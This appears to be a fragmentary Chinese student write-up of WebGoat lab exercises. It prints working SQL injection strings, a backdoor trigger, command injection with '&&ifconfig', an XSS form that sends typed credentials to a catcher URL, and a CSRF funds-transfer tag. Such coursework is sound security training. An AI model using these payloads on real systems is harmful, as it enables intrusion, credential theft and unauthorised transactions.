java -jar webgoat-container-7.0.1-war-exec.jar
運行WebGoat
。WebGoat
使用8080端口
,因此在瀏覽器上訪問localhost:8080/WebGoat
進入WebGoat。Smith
,發現出如今SELECT * FROM user_data WHERE last_name = 'Smith'
兩個單引號中間,所以咱們能夠經過控制在輸入框中輸入的字符串來控制select語句。'or 1='1
,代碼變爲SELECT * FROM user_data WHERE last_name = ''or 1='1'
,這裏的1='1'
爲永真式,所以成功顯示全部信用卡號。select * from User where username=''and password =''
,理論上只要pwd = 'or 1=1 --
,就能夠實現任何用戶的登陸。'or 1=1 --
進行SQL注入登陸失敗:'or 1=1 --
爲10位,所以須要修改長度爲10。'or 1=1 --
,登陸成功。'or 1=1 --
以larry登陸,登錄後看到瀏覽員工信息的按鈕是ViewProfile
:value
值改成101 or 1=1 order by salary desc --
,這樣老闆的信息就會被排到第一個:yd%0d%0aLogin Succeeded for username: admin
,其中%0d
是回車,%0a
是換行符。SELECT * FROM weather_data WHERE station = 101 or 1=1
爲永真式來達到查看所有天氣數據的目的。Columbia
,點Go
,能夠看到全部天氣數據。AccessControlMatrix.help
旁邊加上"&&ifconfig"
:view
,能夠看到命令被執行,出現系統網絡鏈接狀況:101; update employee set salary=10000
,服務器爲咱們更新。101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='郵箱' WHERE userid = NEW.userid
,使沒建立一個新用戶的時候,自動爲其填充爲咱們所但願的郵箱。html
代碼,添加html認證信息
,經過提交時將認證信息提交服務器。html
完整代碼以下:</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
purchase
的時候跳出惡意信息。<script>alert("20155217says hello");</script>
,點擊purchase
,彈出以下對話框。URL
(login.html是從虛擬機中找的,存儲在/var/www/html目錄下):<script>window.location.href="http://127.0.0.1:8080/login.html";</script>
message
輸入框中輸入<script>alert("attacked by yangdi");</script>
執行腳本。<img src="http://localhost:8080/WebGoat/attack?Screen=280&menu=900&transferFunds=4000"/>
來構造郵件。<>
、」
、‘
、%
、;
、()
、&
、+
等嚴格控制輸出。此次實驗對我來講難點之一在於webgoat
全英文的實驗環境,實驗的理解與完成很大程度上是在谷歌的幫助下作完的,心累累。另外,SQL注入攻擊
、XSS攻擊
等是關於web安全方面的攻擊,本次在具體情形下進行實踐,感受比以往理解的更加透徹一些,並且更容易找到一些攻擊的規律(多是對能偷懶的方法天生敏銳吧~)。html